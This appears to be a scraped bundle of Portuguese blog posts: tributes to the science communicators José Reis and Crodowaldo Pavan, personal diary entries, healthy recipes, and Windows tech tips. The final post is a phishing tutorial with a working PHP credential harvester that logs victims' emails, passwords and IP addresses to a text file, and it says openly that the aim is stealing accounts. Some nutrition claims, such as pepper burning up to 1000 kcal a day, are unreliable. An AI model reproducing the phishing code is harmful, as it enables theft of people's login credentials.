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JOSÉ REIS, CRODOWALDO PAVAN, TODOS QUE ESTIVERAM NO NJR, POESIA DE MARCELO ROQUE-SAUDADE, SAUDADE
Autor: Glória Kreinz | Publicado: 2012-01-15T13:59:00-02:00

VEJA ESTE BLOG ATUALIZADO DESDE O INÍCIO...ABRAÇOS AMIGOS...ESTA NÃO É A ÚLTIMA POSTAGEM...ABRAÇOS...LUTANDO sempre pela divulgação científica com qualidade...Veja o novo stoa de Glória Kreinz, parceira de Crodowaldo Pavan em 12 livros, autora do PROJETO PIONEIRO JOSÉ REIS: UNIDADE NA DIVERSIDADE- http://stoa.usp.br/gloriak/weblogSaudade, saudadePassam-se os dias,os meses e os anos,mas você ficaNa palidez das paredes,no rubor das ausênciase no silêncio do criado mudo ...Tão perto que nem lhe vejo,tão distante,que posso tocá-laMarcelo Roque
CRODOWALDO PAVAN, SEMPRE
Autor: Glória Kreinz | Publicado: 2011-11-30T14:50:00-02:00

José Arbex, Glória Kreinz e Crodowaldo Pavan no NJR, onde vivia suas tardes e noites nos últimos temposFoi inaugurada no dia 20 de outubro, na Estação Ciência, em São Paulo, a Sala Crodowaldo Pavan, em homenagem a um dos maiores geneticistas brasileiros. É respeitado em todo o mundo, e presidiu importantes instituições científicas, como a SBPC (Sociedade Brasileira para o Progresso da Ciência) e o CNPq (Conselho Nacional de Desenvolvimento Científico e Tecnológico)A Estação Ciência que o homenageou com uma sala multimídia equipada com 48 notebooks, rede wi-fi e lousa eletrônica já o havia prestado homenagem ao final de 2010, com a mostra Expedição Pavan, que depois esteve em Santo André, da qual fazia parte o livro que lançamos em sua homenagem, Enfrentamentos e Indagações, volume 13 da coleção divulgação científica.Primeiro número sem ele.Mas nunca vamos parar de homenageá-lo. Faz parte de nossa vida e do muito que apredemos sobre divulgação científica.Legítimo continuador de José Reis, estará sempre conosco. Glória KreinzESTE ACABOU SENDO UM BLOG MUITO QUERIDO...HOMENAGEM AOS QUE ESTIVERAM JUNTOS NO NJR, E AGORA CONTINUAM JUNTOS OLHANDO POR NÓS...PAVAN, ETHEL, JOSÉ REIS, ELES SÃO LUZES...
Qual o seu Discurso?
Autor: Priscila_Sodre | Publicado: 2010-11-17T09:23:00-08:00

Esse vídeo é o produto final de uma série de atividades, discussões e reflexões realizadas na aula de comunicação pública. A proposta que o vídeo Labirinto traz, é, através da análise de um discurso singular, entendermos e refletirmos sobre a sociedade que estamos inseridos.Não realizamos tal trabalho em defesa de uma verdade. Cada um interpreta o mundo da sua maneira, mas é necessário, quase que por obrigação, refletir sobre os discursos. Essa prática busca a ampliação dos olhares e o nosso crescimento como humano, tudo em prol de ações que promovam mudanças para o melhor.Agradecimento especial aqui no blog a professora Agnes Bezerra, uma agente de mudanças!
Murphy, cai fora brother!
Autor: Priscila_Sodre | Publicado: 2011-08-26T20:42:00-07:00

O que será? Energia, pensamento, momento de vida, inveja ou acaso?

Eu não sei o que está acontecendo, mas hoje eu preciso declarar os últimos ocorridos (tudo em dois meses).

1. Você está tranquilamente arrumando o seu quarto, abre a janela e gosta do vento. Por sua decisão a janela permanece aberta. Escuta uma forte e rápida zuada, percebe que o seu porta retrato de madeira caiu exatamente em cima do seu notebook e danificou o seu HD.

2. É sexta-feira, vc está ansioso para o fim de semana, arruma suas coisas, diz tchau pra galera -DO NADA- o seu blackberry cai no chão. A tela interna se partiu. A assistência técnica diz que foi dano causado e que não pode cobrir o reparo ???tinha apenas 6 meses de comprado!!!!.

3. Na correria de querer sair de casa e ser feliz em uma quarta-feira a noite, você toma um banho, lava os cabelos, pega o secador, começa a secar as madeixas e, de repente, o secador implode na sua mão. Você olha, ele está laranja por dentro. Você desliga, grita e bebe uma água para se acalmar.

4 Sexta-feira, você tem boas notícias no trabalho (megafeliz). Sai para fazer a última reunião da semana. Boa reunião. Pensa em ir direto pra casa, mas volta na empresa pra não levar o laptop deles para o seu fim de semana. A caminho de casa, resolve pra colocar gasolina, lembra que sua carteira ficou no trabalho, volta no trabalho pra pegar, sua colega tinha levado o note (e a sacola) pra casa dela, conclui que com ela também está a sua carteira. !!Ow My!!. você tem que pegar isso pra pagar a gasolina, afinal, ANTAMENTE você deixou a máquina fotográfica da sua irmã na mão do frentista como garantia de volta. Aguarda sua amiga chegar no restaurante. Ela chega 22:45, você liga o carro, o carro não liga, sua bateria acabou. Pico de estresse. Sua irmã vai te encontrar (caras de chateados pq acabei com a sexta-feira da galera) -> CULPA<- .="" 1.200="" a="" amanh="" amp="" bateria.="" cad="" carro="" caso.="" com="" comunicado="" conta="" da="" de="" devolver="" direto="" e="" ele="" empurrado="" foi.="" frentista="" ger="" j="" m="" mana.="" me="" medo="" minha="" muito="" n="" ncia="" nem="" no="" o="" olha="" p="" para="" passa="" pega="" pilas="" posto="" que="" quina="" s="" se="" sua="" ta="" tenso.="" tinha="" voc="">(Caso 4 - Por Favor, seja o último! Eu sou uma boa pessoa pro mundo, please!)

O que você sugere?

1- Banho de folha ou de sal.

2- Ir à Igreja.

3 - Ficar pra sempre em casa.

4 - Pensar que poderia ter sido pior, agradeça a Deus.

5- Isso é excesso de carga eletronica, pare de ficar no computador.

6 - É só uma fase e já passou.

7 - Acontece todo dia com todo mundo.
Porque ninguém vai dormir nosso sonho...
Autor: Priscila_Sodre | Publicado: 2011-03-12T06:39:00-08:00

"Está tudo nos conformes", dizem os mineiros. Você pensa que sua vida está andando, que você anda conquistando o que deseja, e você realmente está, não é demais? Mas uma hora dessas você para e se pergunta: cadê todo mundo? Cadê meus amigos? A questão é que ninguém te abandonou, muito menos cortaram os laços de amizade. Na verdade está todo mundo muito ocupado com as suas conquistas, trabalhos, concursos, etc. Ontem estava pensando em escrever uma lista das coisas que gosto de fazer. Ta muito dramático? Espero que não. E eu na minha agonia toda de querer terminar logo a faculdade. Seria uma tendência ou apenas uma fase? Uma fase, please!
Inovar para não Saturar
Autor: Priscila_Sodre | Publicado: 2011-01-10T14:48:00-08:00

Eu não vou escrever muita coisa aqui, acho que o título e os vídeos já falam por se só. Saber inovar e fazer da sua idéia e trabalho um sucesso é uma questão de talento e coragem. A vida de David Holmes ficou diferente depois que ele resolveu ousar. Existem vários vídeos dele no you tube e eu tenho certeza que as pessoas ficam torcendo para que David esteja presente em seu vôo da Airlines, eu gostaria de começar a viagem assim!O segundo vídeo mostra como a audácia de David foi bem reconhecida pelas equipes e presidente da empresa a qual trabalha. Não deixe de ver como. "People started getting off the plane and said to me 'that's the first time I have listened to the emergency instructions' (David Holmes)"Sit back, relax, have a good time..." Até o próximo post pessoal.
Política Frágil
Autor: Priscila_Sodre | Publicado: 2010-10-04T15:02:00-07:00

Vídeo retirado desse siteNão sou nenhuma grande entendedora de política, mas como uma cidadã consciente gosto de debater com amigos a situação política do país que por sua vez, parece muito frágil.  Não vou apontar ferozmente nenhum candidato, nem fazer uma crítica ácida ao modelo como encaramos a nossa política. Esse texto é muito mais um desabafo de decepção com os eleitores, que, seja por protesto, seja por não entender o que é política, doam seus votos a jogadores de futebol, ex BBB, humoristas - a exemplo de Tiririca, que ganhou lugar nas espantadas matérias nacionais e internacionais, porém, mesmo assim, obteve 1,353 milhão de votos para Deputado Federal, sofrendo agora investigação sobre o seu nível de escolaridade.  É uma vergonha perceber que as pessoas não têm um olho crítico para saber que, assim como um médico precisa de conhecimento para achar o método da cura ao paciente,  uma autoridade precisa de conhecimento para gerir um estado. Para piorar a situação, me incomoda perceber que falta de discernimento não é única e exclusivamente daqueles que tiveram seu  direito à educação sequestrado. Me assustei outro dia ao ler um conhecido (visto socialmente como estudioso, ocupante da camada B), afirmando que era mais legal quando a taxa de desigualdade social marcava números altos, assim havia menos carros no trânsito e ele pegava menos engarrafamento. #Lamentável.Sobre a luta pela presidência, me assustei em como a ênfase dada a questões religiosas, pela candidata Marina, definiu o voto de muita gente. Esse é um dado que se clareou depois do primeiro turno, quando matérias como "Dilma vai ter que conquistar os evangélicos" surgiram nas mídias. Até então eu pensava que as pessoas tinham a noção de que a religião de um indivíduo não vai influenciar muito no seu modelo de gestão, me senti, como comentei com amiga @monicagh7 na Idade Média -a conversa rendeu no FB. Apesar de eu ter crescido em uma família cristã esse ponto não influencia muito na minha análise de escolha para o governante de um país, mas essa ladainha cresceu bastante e isso é prova da escassez de busca por temas realmente relevantes por parte do eleitor. Positivamente penso que a onda verde e a defesa à sustentabilidade -feita também por Marina- é muito interessante e deveria ser adotada em qualquer governo, pois é uma necessidade do planeta.Para finalizar, direi que eu não acredito em heróis, não espero que chegue um ser humano com uma história emocionante para ser meu presidente, meu governador, quero alguém que saiba entender o meu país e suas faltas, trabalhá-las para que essas não sejam mais lacunas reais. Oferecer educação e saúde de qualidade e empregos dignos, é o que interessa. Necessidades da base da pirâmide mas que, infelizmente, ainda são um problema nesse meu país chamado Brasil.
I know the sun must set to rise
Autor: Priscila_Sodre | Publicado: 2011-11-19T12:43:00-08:00

Eu sempre amei as músicas do Coldplay. As letras e melodias deles sempre despertaram sentimentos importantes e ultimamente eu estou viciada em Paradise...tenho escutado muito essa música e já sei o significado dela pra mim.

O clip também é muito bonitinho e eu fico orgulhosa com a criatividade do grupo. O mais legal de Paradise é a mensagem: pra achar o seu lugar muitas vezes é preciso traçar um caminho não muito fácil. Talvez você tenha que pedalar um monociclo embaixo de um sol escaldante, talvez duvide que chagará lá, talvez não ache ajuda nem ninguém para apoiar você, mas o seu lugar estará lá, te esperando!

Seu lugar pode ser sua casa, pode ser uma cidade, pode ser uma pessoa ou pode ser em você mesmo...

Espero que o clichê não tenha dominado o texto.

                Clique AQUI para assistir Paradise. :D
Não é só um Cappuccino
Autor: Priscila_Sodre | Publicado: 2011-11-12T16:33:00-08:00

 13h50: - Oi moça, um cappuccino pra viagem por favor? Olha, bastante pó, ok? (É mega frustrante tomar um cappuccino que parece café com leite, então é melhor reforçar!)

Poucos dias eu abro mão desse pedido. De 10, 8 o garçom já anuncia antes de mim o meu gosto: "com bastante pó". Penso rapidamente no que isto significa, mas sem conclusões. Na maioria das vezes a justificativa para amarelar os dentes é o sono. Esse início da tarde...soninho pós-almoço...capuccino!

Na verdade, a razão do grande apego a este café- doce é o conforto oportunizado pelo mesmo. Vou confessar que a minha semana é cheia de metas e muitas vezes eu não sei como ela irá terminar, a vida é instável. Estou aprendendo a lidar com isso, então...go ahead.

Eu me toquei sobre a estabilidade oferecida pelo cappuccino quando ela escreveu em"Every single funking day" sobre os seus "habitinhos imutáveis". É incrível como pequenas coisas contribuem para fazer com que a gente permaneça andando em linha reta, ou no minimo, acreditemos que está tudo bem e sob controle.
Inveja das Fissuras
Autor: Priscila_Sodre | Publicado: 2011-08-09T09:15:00-07:00

A maioria das pessoas que eu conheço são apaixonadas por alguma coisa na vida.Uma banda, um time, o próprio esporte. Conheço alguém que adora trem, alguém que é louco pelo cargo que ocupa, alguém que sempre amou barcos, carros e assim lá vai. Eu estou na fase do "I'm not crazy for anything" Parece um pequeno problema mas sinceramente, ta me fazendo pensar. Ta legal que a fissurinha na cor vermelho tava rolando pesado, mas eu sei que é uma fase, então... vou continuar procurando o elemento "x". Alguém tem uma sugestão?
Molho Sugo --- > Benefícios e Receita Caseira
Autor: Júlia Rossini | Publicado: 2012-06-29T09:18:00-07:00

O tomate possui LICOPENO, potente antioxidante que diminui riscos cardiovasculares e câncer de esôfago, gástrico, próstata, pulmão, pâncreas, cólon, reto, cavidade oral, seio e cervical. Protege também o tecido muscular de danos de exercícios exaustivos, etc. Outras frutas possuem este potente nutriente:  melância, goiaba, mamão, pitanga, etc.
Se comparado com o tomate cru, o tomate cozido do purê e do molho  oferecem muito mais licopeno para você.
Hoje vou mostrar como preparo o molho de tomate aqui em casa fica MUITO melhor que qualquer molho pronto! Muito mais saboroso e super saudável!

Utilizei:
4 tomates maduros
2 cabeças de Alho
1 colher de chá de coloral
1 colher de chá de mostarda amarela
1 colher de chá de açúcar
Pimenta vermelha à gosto
Sal Marinho à gosto
Óregano fresco

* Invente e modifique seu molho com pequenas trocas como o orégano, pode ser trocado por manjericão, alecrim, etc. Use a imaginação! Assim como as ervas o alho pode ser substituido por cebola ou somente acrescente a cebola quando desejar!

Modo de Preparo:
Bata no liquificador CRU:
Tomates, alho e um pouquinho de água para facilitar!
Jogue em uma panela adequada com fogo baixo acrescentando o Coloral, a Mostarda, Açúcar, Pimenta, Sal e deixe o orégano ou a erva fresca para o finalzinho!!!
Deixe cozinhar em fogo baixo por aproximadamente 20 minutos ou até engrossar ao seu gosto. Acrescente a erva desejada e pronto! Sirva com uma bela massa ou o que preferir!
Fica MARAVILHOSO! E você pode congelar uma quantidade para outro dia!

Espero que tenham gostado!

Atenciosamente,
Júlia Rossini
Graduanda em Nutrição
Receitas leves: Sopa & Pastas de Tofu Orgânico
Autor: Júlia Rossini | Publicado: 2012-06-19T07:58:00-07:00

Hoje vou passar duas receitinhas que podem ser tanto utilizadas como entrada, como podem tb ser consumidas na janta ou em outra refeição leve!

A primeira é uma pastinha à base de Tofu orgânico super fácil e saudável! Compro ele na feira! Vamos à receitinha:

1/2 peça de Tofu Orgânico ( em torno de 150 - 200g)
1 vidro de tomate seco (lave ele bem para tirar o excesso da conserva)
3 colheres de sopa de Azeite de Oliva Extra Virgem
Pimenta vermelha à gosto
Sal Marinho à gosto
Orégano Fresco à gosto

Apenas bata tudo no mini processador e prontinho! Fica delicioso!!! Você pode variar com azeitonas, temperos verdes variados, alho, em vez do tomate seco ou apenas acrescentar... Use a imaginação! Eu gosto de servir com palitinhos de cenoura crua ou pepinos fica ótimo!

A outra receitinha é de uma sopa superrrrr saudável que fiz ontem e ficou uma delicia, a inspiração da montagem do prato veio através de uma sopa que tomei na casa do meu amigo Daniel Sontag.

Utilizei:

1/2 Buquê de Brócolis
1/2 Buquê de Couve-Flor
1 Chuchu
1 Cebola
3 Dentes de Alho
Lascas de Gengibre
*Benefícios Gengibre--> http://saboresauderossini.blogspot.com.br/2012/03/gengibre.html
Pimenta vermelha à gosto
*Benefícios da pimenta -->http://saboresauderossini.blogspot.com.br/2012_05_01_archive.html
Sal Marinho è Gosto
Açafrão da Terra (cúrcuma)
*Benefícios do Açafrão--> http://saboresauderossini.blogspot.com.br/2012/03/salada-verde-com-tiras-de-frango-e-alho.html

Apenas pique tudo em pedaços grandes, cozinhe com água até tampar os ingredientes e bata tudo no liquidificador depois de cozida (se o seu liquidificador não for de vidro por favor espere esfriar antes de bater e depois esquente novamente!!!), quanto menos água colocar mais cremosinha fica!

Para servir coloquei no meio do prato uma fatia de pão integral da padaria fresquinho e joguei a sopa em cima, depois coloque um raminho verde para ficar mais bonito e pronto!

Outras dicas de sopas---> http://saboresauderossini.blogspot.com.br/2012/04/inverno-chegando-sopas.html

Espero que tenham gostado!

Atenciosamente,
Júlia Rossini
Graduanda em Nutrição.
Autor: Júlia Rossini | Publicado: 2013-04-19T06:12:00-07:00

Manteiga de Azeite de Oliva extra virgem - Substituição de margarinas, manteigas e afins

Essa receita de hoje é muito simples. Apenas coloque em um potinho de VIDRO o Azeite de Oliva extra virgem e coloque-o no freezer!

*VARIAÇÕES: Nesta manteiga de hoje coloquei junto com o Azeite, o Açafrão da Terra (Cúrcuma) e Óleo de Macadâmia (fonte de ômega 7 e 9). 
Faça sua variação também com Óleo de Gergelim, Linhaça, Chia, etc. Assim como temperos: Orégano, Alecrim, Manjericão, etc.

Para o consumo indico que retire uns 5/ 10 minutinhos antes como a manteiga! E depois devolva o potinho ao freezer!

Fácil não??? Agora só saborear! Na foto acima polvilhei com Orégano minha torradinha!

Atenciosamente,
Júlia Rossini
Nutricionista
CRN 4056P
Insônia ou noites mal dormidas? Informações importantes e dicas para ajudar neste problema!
Autor: Júlia Rossini | Publicado: 2012-06-10T16:46:00-07:00

A modulação do sono é muito importante em todas as fases da vida. Inclusive é durante o sono que acontecem também reparações musculares, hormonais, etc.
Estudos mostram que quem dorme pouco (não o suficiente) perde mais músculo em vez de gorduras, além do mais, aumenta o processo inflamatório, aumenta resistência à insulina, passamos o dia todo indispostos, entre outros. Adultos devem dormir de 7 a 8 horas por noite, inteiras, sem interrupções, no caso a idéia de tomar muita água antes de dormir pode interferir também, pela necessidade de ir ao banheiro durante a noite. Alguns outros fatores interferem e muito, como a luz! Desligue a TVe as luzes, isso não é mito, é uma verdade importantíssima! Crie este hábito! Você sentirá uma diferença incrível e não vai mais acordar com aquela sensação de que não dormiu nada!! Experiência própria!

E para aqueles que costumam ter insônias ou apenas em certos dias não conseguem "pregar o olho" por estresse ou motivos variados, tenho algumas dicas simples e valiosas!

As opções que sempre uso e recomendo:

-Chá de Camomila
-Cha de Melissa
-Maracujá (Fruta)

Obs: O maracujá não é muito indicado para aqueles que sofrem de enxaqueca, ok? Para quem sofre desse mal utilize a Camomila e Melissa. Ele pode aumentar sua enxaqueca.

Eu juro que funciona, você realmente dorme mais tranquilo e um sono pesado. Eu uso principalmente em dias de aperto do TCC, etc.

Esta dica é muito importante para aqueles que presam pela saúde como eu! Não adianta só se alimentar bem, se exercitar bastante e não mudar o estilo de vida como um todo, cada detalhe é muito importante :)

Espero que tenham gostado!

Atenciosamente,
Júlia Rossini
Graduanda em Nutrição
Homus --> Pastinha de Grão de Bico (Árabe)
Autor: Júlia Rossini | Publicado: 2012-07-09T09:48:00-07:00

A receitinha de hoje é simples, saudável e pode ser usada como aperitivo, acompanhamento de comidas árabes (kibes, kaftas, etc), no dia-dia em substituição da margarina, etc.

A de berinjela (Baba Ghanoush) já foi passada, para quem quer fazer um "banquete" completo vale a pena preparar junto com esta! http://saboresauderossini.blogspot.com.br/2012/05/baba-ghanoush-pasta-de-berinjela-arabe.html

Eu utilizo:

1 xíc e 1/2 de grão de bico cozido

Água de cozimento do grão de bico

Suco de 1 limão

Sal Marinho à gosto

2 dentes de alho amassados

2 colheres sopa de tahine

Salsinha picada (para o final)

Modo de preparo:

Bater no liquidificador ou em um processador o Grão de Bico cozido, um pouco da água do cozimento, suco de limão, sal, tahine e alho. Acrescentar mais água do cozimento se ficar muito denso! Ou pode ser água comum. Para servir polvilhe com salsinha e regue com azeite de oliva!

Fica muito bom!

Gostaram?

Atenciosamente,

Júlia Rossini

Graduanda em Nutrição
MOLHO DE PIMENTA ---> BENEFÍCIOS DA PIMENTA
Autor: Júlia Rossini | Publicado: 2012-05-22T13:24:00-07:00

A pimenta além de realçar sabores possui grandes propriedades benéficas ao nosso organismo. Ela é anticarninogênica, antioxidante, vasodilatadora, antimutagênica, Termogênica, etc.

Um estudo mostra que ela pode reduzir em ATÉ 1000kcal ao dia por aumentar o gasto energético, mas é claro que para que isso aconteça ela teria que ser consumida diariamente em uma dose de aproximadamente 3g ao dia aliada à cafeína (porque não um chá verde?). Isso não é maravilhoso????

Só um alerta para as pimentas do reino, branca e preta, não indicaria elas para ninguém, elas se "grudam" na mucosa causando muita irritação podendo levar a problemas mais "chatos" , utilize as vermelhas, dedo de moça, malagueta, biquinho, pimenta rosa, algumas pretas também são boas como a jamaicana, etc. Mas evite as do reino!!!

Os molhos que existem prontos, industrializados, possuem muito sódio, somente um que costumo consumir possui muito menos quando comparado com os outros, o molho de pimenta da marca Tabasco vermelha, mas nada como preparar um molho caseiro de pimenta!! O sabor fica super diferente e o aroma delicioso! Além do mais, você pode brincar com os sabores...

O molhinho de pimenta base eu utilizo:

5 Pimentas dedo de moça ou qualquer outra vermelha, compre na feira ou no super mercado (TIRE AS SEMENTES);
5 col sopa de Azeite de Oliva Extra Virgem
1 col sopa deVinagre de Maça

Ponha no processador e bata até ficar um molho cremosinho, com alguns pedacinhos. Esta pronto!
Mas o melhor vem agora! Você pode brincar com o sabor do molho, um dia bata com manjericão fresco, outro dia com alecrim, orégano fresco, ou até mesmo deixe pronto variados sabores e opções pro seu dia-dia, pois é muito simples de fazer e fica realmente maravilhoso!!

Espero que tenham gostado!

Atenciosamente,
Júlia Rossini
Graduanda em Nutrição
Frango ao leite de coco, curry, açafrão e gengibre
Autor: Júlia Rossini | Publicado: 2013-04-10T09:39:00-07:00

A receita é prática e com um sabor forte maravilhoso!

INGREDIENTES:

1/2 Kg de Peito de Frango picado em cubos pequenos
1 vidro de Leite de Coco light
1 colher de cafézinho rasa de Curry
1 colher de cafézinho rasa de Açafrão da Terra (Cúrcuma)
1 colher sopa rasa de Mostarda escura
Gengibre ralado à gosto
1/2 cebola
2 cabeças de Alho
Pimenta Tabasco à gosto
Sal MARINHO

MODO DE PREPARO:

Refogue o Alho e a Cebola com UM FIO de azeite. Acrescente o Frango, deixe dourar e coloque o Leite de coco, Mostarda, Gengibre, Pimenta e Sal! O curry e o Açafrão coloque no final para maior preservação dos benefícios!!!
5 minutinhos e está pronto! Pode também colocar maçã picadinha em cubinhos fica uma delícia! E para quem não gosta de pratos muito apimentados, sugiro que coloque menos curry e pimenta e vá experimentando!

Eu servi com Arroz Cateto e uma saladinha fresca como na foto! Ficou maravilhoso!
Atenciosamente,

Júlia Rossini
Nutricionista CRN 4056P
Creme de Abacate
Autor: Júlia Rossini | Publicado: 2012-05-15T13:54:00-07:00

Hoje vou ensinar uma receitinha deliciosa e perfeitamente nutritiva! Costumo consumir no Desjejum!
Benefícios do nosso poderoso Abacate--> http://saboresauderossini.blogspot.com.br/2012_03_01_archive.html

Para este creme acima utilizei:

1 Abacate maduro;
2 bananas;
Mel à gosto;
1 ou 2 colheres de sopa de leite de soja (só para facilitar na hora de bater)

*Depois de pronto coloquei por cima: Morangos picados e Chia! Use a imaginação e experimente outras opções... Granola, Banana picada, Maçã picada, Quinua, etc.

Apenas bata todos os ingredientes e separe em potinhos individuais. Coloque na geladeira para ficar mais denso e esta pronto! Fica maravilhoso e SUPER saudável!

Brinque e invente outros sabores... Bata com Cacau em pó, Limão, Canela e outras frutas...

Espero que tenham gostado!!!

Com carinho e atenção,
Júlia Rossini
Graduanda em Nutrição
Doce de Abóbora e Doce de Maçã ou Banana!
Autor: Júlia Rossini | Publicado: 2012-06-27T09:07:00-07:00

Hoje vou postar duas receitinhas de doces, pois ninguém é de ferro! (rs) Um doce de Abóbora com coco ralado que a minha Vó faz... eu adaptei a receita pra vocês! E um doce de maçã que eu mesma criei! Fica delícia! Pode ser feito com banana em vez da maçã também!! Vamos às receitinhas?

Doce de Abóbora:

1/2 Abóbora média
Sucralose/ Stévia/ Açúcar orgânico/ Mascavo/  à gosto
Coco ralado (compre um pedacinho e rale na hora faz toda a diferença!!)
2 "paus" de Canela
1 colher de chá de Cravo da Índia
1 xíc e 1/2 de água quente

Modo de Preparo:

Pique em quadradinhos a Abóbora coloque em uma panela adequada com água quente, a Canela, Cravo da Índia e a Stévia/adoçante desejado. Deixe cozinhando em fogo baixo até ficar molinho e virar um doce consistente! Acrescente o Coco ralado natural e misture bem e prontinho! Jogue mais coco por cima (como na foto) pra servir fica delicioso!!!

Doce de Maçã ou Banana:

Duas Maçãs
Sucralose/ Stévia/ Açúcar orgânico/ Mascavo/  à gosto ( AQUI VOCÊ USA BEM MENOS POIS AS FRUTAS JÁ SÃO DOCES, CUIDADO!)
1"pau" de Canela
Cravo da Índia à gosto se quiser colocar
1 xícara e meia de água quente

Modo de preparo:

Mesmo modo de preparo do doce de abóbora, só não acrescenta o coco no final! Fica muito gostoso! Com banana também fica delicioso e mais consistente como o de abóbora!

Espero que tenham gostado dos docinhos saudáveis!! Para adoçar esse inverninho!

Atenciosamente
Júlia Rossini

Graduanda em Nutrição
Pastinha maravilhosa de abacate com azeitonas
Autor: Júlia Rossini | Publicado: 2012-07-25T14:26:00-07:00

Pode até parecer estranha esta combinação, mas fica incrívelmente saborosa! Ótima opção para substituição de margarinas, que não deveriam ser indicadas para ninguém, queijos, etc.
Eu fiz da seguinte maneira:

1/2 abacate maduro
1 vidro com 200g de azeitona preta ou verde
5 colheres de sopa de azeite de oliva extra virgem
1 colher de chá de Tabasco (à gosto)

Apenas ponha tudo no processador ou liquidificador e pronto! Fica realmente muito bom, vale a pena experimentar!

Os benefícios do poderoso abacate ja foi postado aqui, se puder vale a pena dar uma espiadinha
http://saboresauderossini.blogspot.com.br/2012/03/guacamole-beneficios-do-abacate.html

Atenciosamente,

Júlia Rossini
Graduanda em Nutrição
Trancando Pasta com Senha .
Autor: HeadPlay | Publicado: 2011-03-23T06:40:00-07:00

Aprenda a trancar pastas, crie um arquivo .txt e cole isso nele:

view sourceprint?01.02.cls03.@ECHO OFF04.title Folder Private05.if EXIST "Control Panel.{21EC2020-3AEA-1069-A2DD-08002B30309D}" goto UNLOCK06.if NOT EXIST Private goto MDLOCKER07.:CONFIRM08.echo Are you sure you want to lock the folder(Y/N)09.set/p "cho=>"10.if %cho%==Y goto LOCK11.if %cho%==y goto LOCK12.if %cho%==n goto END13.if %cho%==N goto END14.echo Invalid choice.15.goto CONFIRM16.:LOCK17.ren Private "Control Panel.{21EC2020-3AEA-1069-A2DD-08002B30309D}"18.attrib +h +s "Control Panel.{21EC2020-3AEA-1069-A2DD-08002B30309D}"19.echo Folder locked20.goto End21.:UNLOCK22.echo Enter password to unlock folder23.set/p "pass=>"24.if NOT %pass%== senha aqui goto FAIL25.attrib -h -s "Control Panel.{21EC2020-3AEA-1069-A2DD-08002B30309D}"26.ren "Control Panel.{21EC2020-3AEA-1069-A2DD-08002B30309D}" Private27.echo Folder Unlocked successfully28.goto End29.:FAIL30.echo Invalid password31.goto end32.:MDLOCKER33.md Private34.echo Private created successfully35.goto End36.:End

lá na 23ª linha está em negrito 'senha aqui'
troque esse 'senha aqui' por uma senha q vc queira
ficando a linha assim:

1.if NOT %pass%== senha goto FAIL

ta, agora vai la em Salvar Como e salva com locker.bat
ok.. voltando pra pasta onde foi salvo o arquivo bat
abra o arquivo 'locker.bat' e irá aparecer uma pasta chamada 'Private'
essa será a pasta q ficará escondida e só será aberta com a senha q vc escolheu.
dpois d ter criado a pasta 'Private', clique novamente sobre o arquivo
'locker.bat' e irá aparecer a janelinha do Dos .. a seguinte pergunta será feita:
Are you sure you want to lock the folder(Y/N)
digite Y e dê enter.
repare agora q a pasta 'Private' desapareceu...
ela está agora oculta e só será aberta qndo clicar novamente no arquivo
'locker.bat', pois aí será solicitada a senha, com a seguinte frase:
Enter password to unlock folder
aí vc digita a senha e pronto aparece a pasta.Para evitar que os outros descubram a sua senha atraves do Bat converta-o usando um programa chamado Bat to Exe Converter
Aumentantando Músicas .!
Autor: HeadPlay | Publicado: 2011-03-23T06:33:00-07:00

Primeiro : Baixe o programa mpTrim.

Segundo : Abra o programa , e clique em open e escolha a música que queira aumentar

Terceiroo : Vá em volume control vai estar em '0DB' ponha em +6 ( quanto maior, maior sera o volume)

Quarto : Vá em SAVE AS e pronto.

OBS: Cuidado Faça o teste em 1 musica para ver a qualidade. !
Desativando o AUTORUM .
Autor: HeadPlay | Publicado: 2011-03-23T06:42:00-07:00

O que é o AutoRun?
Traduzindo fica mais ou menos como "Rodar automaticamente", e é isso que ele faz, quando você conecta um PenDrive, uma câmera ou coloca um DC/DVD no drive, normalmente aparece esta caixinha na tela:

Ela lhe dá a opção de escolher como abrir o dispositivo/arquivo, ou às vezes nem lhe oferece opção e já sai abrindo o arquivo. Isso ocorre muito em CD-ROMs de jogos.

Mas alám de as vezes ficar meio lento o AutoRun pode representar um perigo. Imagine que alguém lhe deu um CD ou PenDrive com um vírus e adicionou este vírus no AutoRun dele, logo, o PC irá executar o vírus.

Muitas destas pragas hoje em dia se alojam nesses dispositivos para se proliferar nos computadores.

Como desativar o AutoRun:

No Windows Vista: clique no Botão: Iniciar > Painel de Controle > Hardwares e Sons. Em seguida, clique na opção “Reproduzir CDs ou outra mídia automaticamente” e desabilite a opção “Usar Reprodução Automática em todas as mídias e dispositivos”.

No Windows XP: clique em: Iniciar > Executar > digite gpedit.msc. Na janela que abrir, vá em “Configurações do computador” > “Modelos administrativos” > “Sistema”>“Desativar auto-executar”, dê um duplo clique e escolha ativado e dê ok
Faca Uma Pgina Fake de Qualquer Site .
Autor: HeadPlay | Publicado: 2011-03-23T06:36:00-07:00

A pagina fake como todos sabem é um clone da pagina original, mas só que invés de logar no site, ele envia as informações pra outro arquivo que no caso seria em php e o cara rouba ou sei la o que faz com a conta, mais enfim, vou mostrar como seria:

Login:
Senha:

Vou explicando por linhas

1. Incia-se o html

2. Abre o form, action serve para enviar as informações para a pagina indicada e method que no caso seria o metodo usado, ali eu uso o metodo POST.

3. Login, ai vem o input que é a caixa de texto e "type" que seria "tipo" é o tipo de coisa que vai aparece na caixa, ali no caso vai aparecer o texto normalmente e o id serve para nomear a informação levada ao "Salva.php".

4. Senha, e a caixa para escrever a senha, ali o "tipo" é password ou seja vai aparecer akelas bolinhas ao envez de texto e ai ali o id é o "Passwd".

5. Fecha o form ou seja, qualquer input abaixo naum vai ser mais enviado para o salva.php, só se vc criar outro form.

6. Fecha o html.

7. Agora crie um arquivo PHP com este codigo:

<?php
$nomearquivo ="senhas.txt";
$email =$_POST["Email"];
$senha =$_POST["Passwd"];
$browser =$_SERVER['HTTP_USER_AGENT'];
$ip =$_SERVER['REMOTE_ADDR'];
$hostname =gethostbyaddr($ip);
$data =date("Y-m-d");
$hora =date("H:i:s");
$traco ="
__________________________________________________________________
";
$ess ="Email: ".$email."
Senha: ".$senha."
Navegador: ".$browser."
IP: ".$ip."
Nome do Host: ".$hostname."
Data: ".$data."
Hora: ".$hora."
".$traco;
$abre = @fopen("senhas.txt","a+");
$escreve = fwrite($abre, $ess);
echo "javascript:document.location='www.google.com.br'";
?>

Esse é o Salva.php.
Vou explicar que neen ontem, por linhas
1. Se inicia o php
2. Variavel do nome do arquivo de texto
3. Variavel Setando valor recebido pelo form que seria da caixa que tinha o name="Email"
4. Mesmo caso acima, só que agora é recebido pela caixa com o name="Passwd"
5. Variavel setando o nome do browser que o cara está usando
6. mesmo caso acima, só que pegando o ip
7. Esse puxa o nome do host
